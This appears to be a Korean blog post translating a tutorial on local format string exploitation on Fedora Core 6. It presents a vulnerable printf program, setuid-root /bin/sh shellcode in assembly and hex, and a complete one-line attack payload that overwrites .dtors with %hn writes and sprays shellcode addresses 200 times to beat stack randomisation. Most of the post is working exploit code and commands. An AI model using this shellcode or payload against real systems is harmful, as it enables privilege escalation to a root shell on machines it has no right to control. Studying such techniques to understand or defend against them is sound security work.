본문 바로가기
Exploit/0x06-nix

shellcode를 사용하는 local format string exploit (Fedora Core 6) 번역 프로젝트

by SpeeDr00t 2016. 5. 2.
반응형

shellcode 사용하는 local format string exploit (Fedora Core 6)

번역 프로젝트



shellcode를 사용하는 local format string exploit (Fedora Core 6) 번역 프로젝트.pdf



Fedora Core 4, 5, 6 내에서 shellcode를 사용하는 local format string exploit 방법


소스를 보면 포맷 스트링공격이 가능한 취약한 소스라는 것을 알 수 있습니다.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main( int  argc, char * argv[] )

{

    char ppp[4096];

    strncpy(ppp,argv[1], sizeof(ppp)-1);

    printf(ppp);

}


shellcode가 써지고 실행되는 주소를 찾습니다.


cat /proc/self/maps | grep rwxp

0x00b03000-0x00b04000

0x00c3f000-0x00c40000

0x00c40000-0x00c43000


shellcode의 주소를 넣을 .dtors+4의 주소를 찾습니다.

objdump -h printf | grep .dtors

0x080494bc+4


shellcode를 작성하면 다음과 같습니다.


.globl main

main :

        jmp strings

one:

        xor %eax,%eax              ;#setuid(0)

        movb $0x17, %al

        xor %ebx, %ebx

        int $0x80

 

        pop %esi                   ;#execve()

        xor %eax, %eax

        movb %al, 0x07(%esi)

        movl %esi, 0x8(%esi)

        movl %eax, 0xc(%esi)

        movb $0x0b, %al

        movl %esi, %ebx

        leal 0x8(%esi), %ecx

        xor %edx, %edx

        int $0x80

 

        movb $0x01, %al          ;#exit(0)

        xor %ebx , %ebx

        int $0x80

strings:

        call one

        .string "/bin/sh"


gcc -o sh sh.s


\xeb\x25\x31\xc0

\xb0\x17\x31\xdb

\xcd\x80\x5e\x31

\xc0\x88\x46\x07

\x89\x76\x08\x89

\x46\x0c\xb0\x0b

\x89\xf3\x8d\x4e

\x08\x31\xd2\xcd

\x80\xb0\x01\x31

\xdb\xcd\x80\xe8

\xd6\xff\xff\xff

\x2f\x62\x69\x6e

\x2f\x73\x68\x00


Little-endian 방식이므로 넣을 때는 아래와 같아야 합니다.


0xc031 0x25eb    39494 9699   

0xdb31 0x17b0    50049 22399

0x315e 0x80cd    45201 42396

0x0746 0x88c0    32390 22370

0x8908 0x7689    4735  28483

0x0bb0 0x0c46    65386 33598

0x4e8d 0xf389    23300 59353

0xcdd2 0x3108    40138 57979

0x3101 0xb080    32897 58030

0xe880 0xcddb    6821  40154

0xffff 0xffd6    41    5974

0x6e69 0x622f    3130  25136

0x0068 0x732f    36153 1222


shellcode를 넣을 주소입니다.


0x00c41030


\x30\x10\xc4\x00 


0x00c4 0x1030 61588 4040


공격 준비는 끝났습니다.


공격 코드는 다음과 같습니다.


[.dtors1][.dtors2]

[%16진수 shellcode를 10진수로 변경한 후, $-flag를 통해 library 위치에 덮어씌우는 공격코드]

[%.dtors를 shellcode가 존재하는 library 위치 주소로 덮어씌우는 공격코드]


[(library 주소)*200] [(library 주소+2)*200] [(library 주소+4)*200] [(library 주소+N)*200] [align]


$(printf "\xc0\x94\x04\x08\xc2\x94\x04\x08")%9699x%6600\$hn%39494x%6800\$hn%22399x%7000\$hn%50049x%7200$hn%42396x%7400\$hn%45201x%7600\$hn%22370x%7800\$hn%32390x%8000\$hn%28483x%8200\$hn%4735x%8400\$hn%33598x%8600\$hn%65386x%8800\$hn%59353x%9000\$hn%23300x%9200\$hn%57979x%9400\$hn%40138x%9600\$hn%58030x%9800\$hn%32897x%10000\$hn%40154x%10200\$hn%6821x%10400x%5974x%10600\$hn%41x%10800\$hn%25136x%11000\$hn%3130x%11200\$hn%1222x%11400\$hn%36153x%11600\$hn%4040x%5\$hn%61588x%6\$hn $(python -c 'print "\x30\x10\xc4 "*200 + "\x32\x10\xc4 "*200 +"\x34\x10\xc4 "*200 +"\x36\x10\xc4 "*200 +"\x38\x10\xc4 "*200 +"\x3a\x10\xc4 "*200 +"\x3c\x10\xc4 "*200 +"\x3e\x10\xc4 "*200 +"\x40\x10\xc4 "*200 +"\x42\x10\xc4 "*200 +"\x44\x10\xc4 "*200 +"\x46\x10\xc4 "*200 +"\x48\x10\xc4 "*200 +"\x4a\x10\xc4 "*200 +"\x4c\x10\xc4 "*200 +"\x4e\x10\xc4 "*200 +"\x50\x10\xc4 "*200 +"\x52\x10\xc4 "*200 +"\x54\x10\xc4 "*200 +"\x56\x10\xc4 "*200 +"\x58\x10\xc4 "*200 +"\x5a\x10\xc4 "*200 +"\x5c\x10\xc4 "*200 +"\x5e\x10\xc4 "*200 +"\x60\x10\xc4 "*200 +"\x62\x10\xc4 "*200') aaaa


/////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////


shellcode를 넣을 주소는 \x00을 가지고 있으므로 인자에 넣습니다.

따라서 위치를 찾아야 하는데 랜덤 stack이여서 위치는 계속 바뀝니다.


해결책으로 주소 하나씩 여러번 입력(200번)을 합니다.

그렇게 되면 처음 주소의 위치를 찾는 확률이 커지기때문입니다.


그리고 마지막 a는 주소를 맟춰주기 위해서 사용됩니다.



반응형